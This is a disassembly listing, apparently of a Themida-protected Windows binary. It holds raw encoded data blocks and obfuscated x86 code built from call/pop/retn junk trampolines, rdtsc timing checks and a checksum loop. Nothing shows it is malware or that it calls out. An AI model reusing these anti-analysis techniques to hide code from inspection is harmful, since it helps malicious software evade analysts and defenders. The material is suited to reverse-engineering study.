		dd 0E83DA94Ah, 0C3807010h, 6A6188h, 0AE9h, 8C739600h, 0CEBE5755h
		dd 0FF55CF79h, 16C454B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 95FF37B6h
		dd 6131E95h, 518D8960h,	6006132Ah, 29EA8166h, 8E0F7Eh
		dd 61000000h, 7E85061h,	3C000000h, 0C4800985h, 0CE94F8Eh
		dd 91000000h, 1963BB2Fh, 0C39F3C2Ch, 5BE62F86h,	6A243489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 1D3CC351h, 0FF752B11h, 16C454B5h,	0FE8B6606h
		dd 214595FFh, 8D290613h, 6130C15h, 0BD83D98Bh, 6131495h
		dd 5C840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0C99AC351h,	669D72D1h
		dd 0E6EE781h, 0E4BB6650h, 243489F0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 7FC35545h, 0CDC5F905h, 8BD9BF0Fh
		dd 1328099Dh, 35B52906h, 0FF061316h, 16C454B5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 1485E9BBh, 1EEBF7F6h, 8166D738h, 0FF9C30DBh,	1305AD95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0F5C07D0Eh, 0C454B5FFh, 6A0616h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 4953D5C3h, 0E8B18C8Fh, 11h, 0DC06AC1Ah, 89833F7Fh, 8B6269B0h
		dd 0FADC1301h, 95FF5F66h, 6131209h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 63C35747h, 0F6ED3B20h, 0BA1F745Eh
		dd 511BD83h, 0F020613h,	6284h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E6BDBDEAh
		dd 0BD8B82D4h, 6131B81h, 551BD01h, 858B0613h, 6130F55h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C6C35141h
		dd 666CECEFh, 891CECBFh, 13323D9Dh, 0C606h, 0C7FAB70Fh
		dd 131E5185h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 3E49F038h, 0CB8008F9h
		dd 0BD895007h, 61310A9h, 0F20AE95Fh, 6AFFFFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 954C8CC3h
		dd 0DDD9593Fh, 2A7D8589h, 0C18B0613h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0E6C35747h,	1D73FD89h, 4C9C5ECEh
		dd 0D5EF8166h
		db 12h
; ---------------------------------------------------------------------------


loc_5C74ED:				; CODE XREF: Themida_:loc_5C65DBj
		lea	eax, [ebp+6131EA9h]
		movzx	edi, ax
		push	eax
		mov	ebx, 544F8779h
		mov	[esp], eax
		push	0
		push	edx
		call	sub_5C750A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C750A	proc near		; CODE XREF: Themida_:005C7502p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C750A	endp

; ---------------------------------------------------------------------------
		dw 8065h
; ---------------------------------------------------------------------------
		push	0
		or	bl, 0DFh
		push	0
		mov	edi, ecx
		lea	eax, [ebp+617B3CBh]
		mov	bx, 725Ch
		add	eax, 5
		push	0
		push	eax
		call	sub_5C753D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C753D	proc near		; CODE XREF: Themida_:005C7535p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C753D	endp

; ---------------------------------------------------------------------------
		mov	ebp, 5B47620Dh
		mov	[ebp+61320CDh],	edx
		nop
		mov	di, ax
		push	eax
		nop
		and	ebx, [ebp+61315F5h]
		push	0
		clc
		push	0
		add	edi, [ebp+61322EDh]
		call	dword ptr [ebp+61307F1h]
		jmp	loc_5C7589
; ---------------------------------------------------------------------------
		dw 0EB74h
		dd 0D19DE545h, 26BEFFFEh, 6153CD9Ah
		db 20h
; ---------------------------------------------------------------------------


loc_5C7589:				; CODE XREF: Themida_:005C7575j
		lea	ecx, [ebp+616A36Ah]
		and	ebx, [ebp+6130F51h]
		and	edi, [ebp+61313ADh]
		call	ecx
		push	0
		push	edi
		call	sub_5C75A8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C75A8	proc near		; CODE XREF: Themida_:005C75A0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5C75A8	endp

; ---------------------------------------------------------------------------
		push	3B60D229h
		sub	eax, 0BD8BC3ACh
		or	[esi], ebx
		adc	eax, [esi]
		pusha
		sub	[ebp+6131621h],	ebx
		popa
		cmp	dword ptr [ebp+613173Dh], 1
		jnz	loc_5C7695
		push	0
		push	eax
		call	sub_5C75E6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C75E6	proc near		; CODE XREF: Themida_:005C75DEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5C75E6	endp

; ---------------------------------------------------------------------------
		xor	esp, [esi-7Fh]
		div	dword ptr [ebx-2Bh]
		push	2
		jb	loc_5C760A
		mov	ebx, [ebp+6131301h]


loc_5C760A:				; CODE XREF: Themida_:005C75FEj
		nop
		push	eax
		push	eax
		push	edx
		push	eax
		push	edx
		jmp	loc_5C761C
; ---------------------------------------------------------------------------
		db 97h,	7Ah, 0D0h
		dd 91A9760Ch
; ---------------------------------------------------------------------------


loc_5C761C:				; CODE XREF: Themida_:005C7610j
		rdtsc
		jmp	loc_5C762B
; ---------------------------------------------------------------------------
		dec	eax
		cmp	esi, [ebp+58h]
		retn
; ---------------------------------------------------------------------------
		db 89h,	0F0h, 70h
; ---------------------------------------------------------------------------


loc_5C762B:				; CODE XREF: Themida_:005C761Ej
		pop	edx
		pop	eax
		rdtsc
		push	esi
		pusha
		popa
		pop	edi
		pop	edx
		pop	eax
		nop
		push	0
		push	esi
		call	sub_5C7641
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7641	proc near		; CODE XREF: Themida_:005C7639p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C7641	endp

; ---------------------------------------------------------------------------
		align 2
		mov	eax, 783C3737h
		lodsb
		pop	esp
		xchg	eax, ebx
		lahf
		mov	ebx, [ebp+6131F09h]
		mov	[ebp+6131931h],	esi
		call	dword ptr [ebp+6131E95h]
		push	0
		push	edx
		call	sub_5C7678
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7678	proc near		; CODE XREF: Themida_:005C7670p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5C7678	endp

; ---------------------------------------------------------------------------
		adc	eax, 30BD330h
		test	cl, al
		mov	ebx, [ebp+6132079h]


loc_5C7695:				; CODE XREF: Themida_:005C75D5j
		jmp	loc_5C84BD
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 617B3D5h
		jbe	loc_5C76B7
		pusha
		jg	$+6
		mov	di, cx
		popa


loc_5C76B7:				; CODE XREF: Themida_:005C76A6j
		mov	[ebp+6131969h],	ebx
		lea	eax, [ebp+6168F5Eh]
		push	0
		push	esi
		call	sub_5C76CE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C76CE	proc near		; CODE XREF: Themida_:005C76C6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C76CE	endp

; ---------------------------------------------------------------------------
		dw 0CB14h
		dd 901F1EE8h, 9050D88Bh, 1AD8D89h, 0FF640613h, 35h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 64B0C5AAh, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0A7ED92C3h, 0FFD88B09h
		dd 1316D985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0FF6A1A36h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 3EC35040h, 0E9BB20E3h, 0Eh
		dd 4417E383h, 2857BF55h, 68D09620h, 0B5FF96DAh,	6131B65h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A2C35040h
		dd 0F4757FF2h, 95FF0B9Fh, 61331ADh, 115E9h, 8900B000h
		dd 130D159Dh, 8B70E606h, 0E871E4FEh, 10h, 4D45C334h, 0A0D01E93h
		dd 705426B0h, 0EF876723h, 613C5FF9h, 0E8830Fh, 81660000h
		dd 0F1F49C7h, 8166C8B6h, 0BAA204DFh, 6,	8BFFB70Fh, 4E8C1C1h
		dd 188B0Fh, 0CE80000h, 20000000h, 0E68748BFh, 0D7450D1Eh
		dd 8B49183Ch, 132C119Dh, 0F7665F06h, 19BD8BE2h,	29061311h
		dd 1301C185h, 8BC82B06h, 130BE1BDh, 8BD18B06h, 1321C99Dh
		dd 26E78106h, 0E969DA6Ah, 6, 0E799531h,	858B0613h, 6132499h
		dd 0F07C083h, 178Ah, 12E900h, 0B72F0000h, 945B8DF5h, 0E8E277CEh
		dd 379CACFh, 0AC0A2EB2h, 8900C083h, 1331E98Dh, 0FD03B06h
		dd 1183h, 99BD8B00h, 0E9061308h, 3Eh, 21A18D89h, 8D8B0613h
		dd 61305F9h, 19618D89h,	0E1830613h, 23840F01h, 9000000h
		dd 130E45BDh, 0F9A58306h, 0FE061305h, 2F999D8Bh, 95890613h
		dd 6132499h, 0EB80FA8Bh, 0E9F4h, 0B58D0000h, 6172722h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5EC35343h
		dd 0F98B6609h, 0BEEF8166h, 0DEBF662Ch, 66006A46h, 0FF8098BBh
		dd 130DA995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0B9F98BC1h, 808h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0F7C35747h, 0F5D10209h
		dd 880Fh, 0E1830000h, 9BD8BFCh,	0FC06130Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D2C35242h, 9D8BA595h
		dd 6131549h, 0B8h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1D04h, 0C3504000h, 26A0F657h, 75B464C4h
		dd 860F459Bh, 0
; ---------------------------------------------------------------------------
		jbe	loc_5C79C8
		mov	[ebp+613296Dh],	esi


loc_5C79C8:				; CODE XREF: Themida_:005C79BCj
		and	di, 0C5Fh


loc_5C79CD:				; CODE XREF: Themida_:005C7A42j
		mov	edx, 0
		push	0
		push	ebx
		call	sub_5C79DD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C79DD	proc near		; CODE XREF: Themida_:005C79D5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5C79DD	endp

; ---------------------------------------------------------------------------
		mov	dh, 15h
		or	[ebp+61324CDh],	edx


loc_5C79F5:				; CODE XREF: Themida_:005C79FFj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C79F5
		push	0
		push	eax
		call	sub_5C7A0C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7A0C	proc near		; CODE XREF: Themida_:005C7A04p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5C7A0C	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebp
		and	[ecx+21h], ebp
		cmc
		push	edi
		pop	esi
		push	0
		push	ecx
		call	sub_5C7A2E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7A2E	proc near		; CODE XREF: Themida_:005C7A26p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5C7A2E	endp

; ---------------------------------------------------------------------------
		dw 0F664h
; ---------------------------------------------------------------------------
		xchg	esi, esp
		loope	loc_5C79CD
		mov	ch, 3Dh
		sbb	dl, [ebx]
		push	es
		mov	edi, ebx
		sbb	edi, 5B565660h
		or	eax, 88h
		push	0
		push	ebp
		call	sub_5C7A61
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7A61	proc near		; CODE XREF: Themida_:005C7A59p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C7A61	endp

; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5C8F5F
; ---------------------------------------------------------------------------
		align 4
		dd 0E5D74489h, 19B88E57h, 85671DBh, 0D882984Dh,	0EECB6229h
		dd 3F82F781h, 505F545Ch, 5FFAB70Fh, 1BBD958Bh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0F4648C3h, 8E9h, 0F7FB0C00h,	0C87D4656h, 0DD8D8BE4h
		dd 6A061318h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 94FC352h, 1321298Dh, 6E806h, 26460000h
		dd 0F065D112h, 0F03CAEBBh, 8B505F4Dh, 3188BC2h,	8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 29C35747h, 6FA8AA41h,	80E8CDA1h, 12E9ADh
		dd 525C0000h, 0ADAC3727h, 456FAC79h, 0B8641871h, 0EBA35E1Fh
		dd 0BE9h, 8FF3800h, 0E20D3D2Ch,	0BC2AA296h, 1D1DBD83h
		dd 0F000613h, 2484h, 5DBD2900h,	106130Eh, 13163995h, 0B806h
		dd 0BD8B0000h, 613351Dh, 4F8D8D8Dh, 0E1FF0613h,	0F88B6652h
		dd 55BD835Fh, 61330h, 3A0840Fh,	0BD8B0000h, 6132C85h, 2321B531h
		dd 0BD830613h, 6133055h, 0A2840F01h, 29000003h,	130E49BDh
		dd 0BD83F506h, 6133055h, 58860F03h, 1000003h, 13140585h
		dd 60606006h, 80CB8B66h, 6661E8ECh, 619C54BFh, 5E9h, 0CCA4F300h
		dd 8C663A5Fh, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 30630476h, 3D341D71h, 19A9BD29h
		dd 0F98B0613h, 6A04E180h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B170C352h,	6880FA6h
		dd 8B000000h, 1315299Dh, 0FC90A06h, 0DF84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8BB537F6h, 132BB985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 33F96E99h, 1305B985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 90C5035Ah, 87BB5250h, 0F6D23C9h,	0DF8B6631h
		dd 9050585Ah, 6AFDF380h, 19958900h, 80061319h, 5D685DEBh
		dd 66A75E06h, 481DF8Bh,	0C0FDA224h, 3D95FF58h, 6A06130Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0D25CC353h, 4C109415h, 8E9h, 1492D200h, 29AB0F55h
		dd 0D8B70F23h, 0C4548589h, 81660616h, 0E928CBCBh, 1BBh
		dd 0BAD4BB66h, 0C44C858Bh, 9D890616h, 6131E41h,	1800C7h
		dd 0BFBB0000h, 8B2B2EA1h, 16C450B5h, 0D9B70F06h, 2A55858Bh
		dd 0B1BF0613h, 921149Dh, 1329DD9Dh, 6A068906h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 892AC356h, 1323E9B5h, 0B9858B06h, 6A06132Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0C632C355h, 57044689h, 33A5BB66h, 0FCB7505Bh, 66243489h
		dd 0BD8BDF8Bh, 6132C65h, 0C44CB5FFh, 6A0616h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0CC798DC3h
		dd 0E8699FE2h, 4, 1F03FFh, 50FE8B66h, 8BFE8B66h, 66042444h
		dd 8B2AC6BFh, 13E85600h, 8E000000h, 38E47611h, 0BE90ADADh
		dd 0A55684B1h, 0AF316A98h, 5F508F88h, 44895F5Bh, 0DE90424h
		dd 15000000h, 57B3C8F2h, 3AF5D2FCh, 89DCD85Fh, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0A412AB42h, 0E9BE148Dh, 11h,	0D1A18BC2h, 0E6F0EF1Ah
		dd 6A7D421h, 0F9C25AD5h, 4D9D2384h, 8D061316h, 16C45485h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0FEC251DBh, 86D6B6EAh, 22558589h, 66900613h
		dd 6050DE8Bh, 8E4E21BEh, 6A906107h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0FB33C351h
		dd 7E7C64CCh, 0FC7BE2Eh, 28Eh, 0FFFE8B00h, 130A3D95h, 79BD8B06h
		dd 6106131Bh, 5585C7F5h, 3061330h, 31000000h, 131899BDh
		dd 54BD8306h, 616C4h, 21840Fh, 0BF660000h, 33E9EFB3h, 60000000h
		dd 1E71B589h, 8B660613h, 0E95661D9h, 6,	799B899Ch, 505B6252h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 8531C08Bh, 6131E99h,	31F19589h, 0BD830613h, 6133055h
		dd 16850F03h, 6A000005h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0E073C356h,	0B557A2A5h
		dd 8BB031C5h, 13118D9Dh, 54BD8306h, 616C4h, 4DF840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0FDC2F6C3h, 5C1114BEh, 0ADC781C6h, 0FF2E4A8Bh, 16C454B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8E99E6Bh, 91000000h, 0C88FC553h,	0FFFEE006h
		dd 13096995h, 11E906h, 346E0000h, 9976BCF4h, 0E16F68EBh
		dd 0BC2E8C36h, 8B42BB70h, 16C448B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0E3B3940Eh
		dd 51E660C7h, 53BF3DA7h, 0C74FE331h, 1000106h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 4B762E26h, 665096EDh, 5F70F2BFh, 0AE950h, 4E500000h
		dd 1954B584h, 6875CBBFh, 50006A96h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD039568h, 6131BF1h
		dd 0C454B5FFh, 6A0616h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8BA289C3h, 1313F5BDh, 2995FF06h
		dd 6A061332h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 968AC356h, 532820BAh, 0ADCDA452h
		dd 39896BBh, 48B58B50h,	8B0616C4h, 1328259Dh, 31858B06h
		dd 9061306h, 1309158Dh,	0C4868906h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0AEEAC351h, 57DA8AA1h, 10E8h, 0D22B8800h, 0FB1CBCFAh
		dd 0FA312F67h, 2C75A799h, 5F616018h, 0BD958B5Bh, 0FC06131Bh
		dd 6A04C283h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 68DDC356h, 18ED9D01h, 50890613h
		dd 56006A20h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0CD6D934Ah, 0BC68A25Ch, 6ADCBB66h, 63D5BB66h
		dd 0D8E3858Dh, 6A0616h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0A9E7FEC3h, 0F2C3A90h, 68Bh, 518D2900h
		dd 89061313h, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 65AADC63h, 0D19D33DBh
		dd 6A061325h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 668AFCEFh, 0FF8F81BBh, 16C454B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 87A8323Bh, 0B91FB86h, 0B70F6279h, 0FF3FB3DBh
		dd 131E9595h, 0ED8D8906h, 5006131Ah, 0A0BF6057h, 6035A5C2h
		dd 895B6161h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 12FE3AC3h, 2109BD8Bh, 0BF660613h
		dd 0B5FFAEFEh, 616C454h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0FDC35646h, 0E07409B1h, 0F781665Ch, 0CF81BE0Ah
		dd 3BD9A9FFh, 1E319D8Bh, 95FF0613h, 6132145h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CEC35141h, 9E35F8F9h
		dd 0B809610h, 0C684D781h, 0BD835786h, 6131495h,	4A840F00h
		dd 8B000000h, 8B0F50FEh, 15h, 10E9h, 365EE800h,	3307D993h
		dd 412BADB6h, 1EA4B554h, 24348963h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 7C35646h, 7549A9DEh, 4B60021Eh
		dd 459D27BBh, 54B5FF50h, 6A0616C4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 3D71C356h
		dd 0AD95FF60h, 81061305h, 85F414C3h, 54B5FF03h,	6A0616C4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 7895C357h, 120995FFh, 85890613h, 6132A61h
		dd 511BD83h, 0F020613h,	7C84h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 8F0FE0h, 8B000000h
		dd 130F5585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 19BDEEE9h, 299D29F6h, 2906130Eh
		dd 132431BDh, 0C606h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 17h, 0F9C35343h, 81B86A19h, 0DF99F2E7h, 5185C74Eh
		dd 6131Eh, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 9463C356h, 89D6A176h, 131CD58Dh
		dd 0F2B4E906h, 0AE9FFFFh, 0CC000000h, 0F2183FCEh, 4A50710Dh
		dd 8AC18BF6h
		db 0FEh
; ---------------------------------------------------------------------------


loc_5C84BD:				; CODE XREF: Themida_:loc_5C7695j
		lea	eax, [ebp+6131EA9h]
		push	0
		push	edi
		call	sub_5C84CE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C84CE	proc near		; CODE XREF: Themida_:005C84C6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5C84CE	endp

; ---------------------------------------------------------------------------
		push	0FFFFFFD4h
		setalc
		test	bh, ch
		rcl	byte ptr [ebx],	6Dh
		dec	ebp
		sub	edx, [eax+5Bh]
		push	eax
		mov	[esp], eax
		push	0
		push	0
		push	ecx
		call	sub_5C84FB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C84FB	proc near		; CODE XREF: Themida_:005C84F3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C84FB	endp

; ---------------------------------------------------------------------------
		db 0CEh
; ---------------------------------------------------------------------------
		mov	esi, 6AE9E7h
		push	0
		push	eax
		call	sub_5C851C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C851C	proc near		; CODE XREF: Themida_:005C8514p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C851C	endp

; ---------------------------------------------------------------------------
		dd 0BD2394E7h, 6132405h, 0C419858Dh, 8B660617h,	5C083D8h
		dd 30019D33h, 0BD0B0613h, 6131D75h, 0EAA4BB50h,	4893F03h
		dd 0FDBD8B24h, 6A06132Fh, 619D8900h, 6A061305h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 681BD834h, 0FC6B2B7Fh, 0F195FF66h, 6A061307h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 4A9FC355h, 0A36A8D8Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0F1CD20C3h, 9D2B53C2h
		dd 613306Dh, 6E95Bh, 626B0000h,	87E1EE05h, 6AD1FFh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 1747AEC3h, 2CE024D8h, 5822E8BFh, 0B9F7816Bh,	832A996Ch
		dd 13173DBDh, 850F0106h, 0C3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 61C35646h, 6A026Ah,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0D29258C3h, 0BD8BE4BBh, 61329E5h, 50BBB390h,	0DE8h
		dd 511DFC00h, 74DF284Ch, 0E77AAC6Eh, 0CE867E5h,	0FD000000h
		dd 3A03C121h, 0AF61685Dh, 0FBE9BF8h, 8Eh, 905B5B00h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 27C35747h, 1157AEC8h
		dd 35BD2BBDh, 0FF06130Bh, 131E9595h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0B5ADF0FCh
		dd 0E9DFB70Fh, 0C02h, 0E8h, 0ED815D00h,	617C423h, 7C0CBF66h
		dd 31199D31h, 858D0613h, 6168F5Eh, 323DBD8Bh, 89500613h
		dd 0FF642404h, 35h, 0DE800h, 94B70000h,	17184A0Ah, 497BC23h
		dd 5FB18B32h, 258964h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1432C356h
		dd 85FF64B5h, 61316D9h,	0D98B6652h, 0FFFF6A5Bh,	131139B5h
		dd 6800F06h, 81000000h,	31EDC7F3h, 0AD95FF69h, 0E9061331h
		dd 107h, 0B0DEB70Fh, 0D8BB6600h, 8170E6C4h, 0B3999BD3h
		dd 8971E44Bh, 13177D95h, 0F613C06h, 0E683h, 70BF6600h
		dd 0C8B60FC0h, 15218D89h, 6BA0613h, 0F000000h, 684h, 75BD8B00h
		dd 8B06130Eh, 0DE9C1h, 0D7EC0000h, 49445B9Dh, 0BF5FF71Ah
		dd 0C1123CF1h, 8B6604E8h, 0E2F766F8h, 0C1D78166h, 8AC82BFBh
		dd 0E9D18BDAh, 5, 24E36291h, 91E9CDh, 8B660000h, 359D03FEh
		dd 8B06131Fh, 885h, 50D78100h, 831668B2h, 9D8907C0h, 61305B1h
		dd 8B00C083h, 131541BDh, 8DBD8B06h, 3B061312h, 13830FD0h
		dd 81000000h, 3D0173C3h, 51E95Fh, 8B510000h, 130DD9BDh
		dd 8D8B5B06h, 0FFFFFFFFh, 83F9B70Fh, 840F01E1h,	37h, 0FE9h
		dd 1369B300h, 58361564h, 750DCE4Ah, 4DCE5FAh, 0FFFFA583h
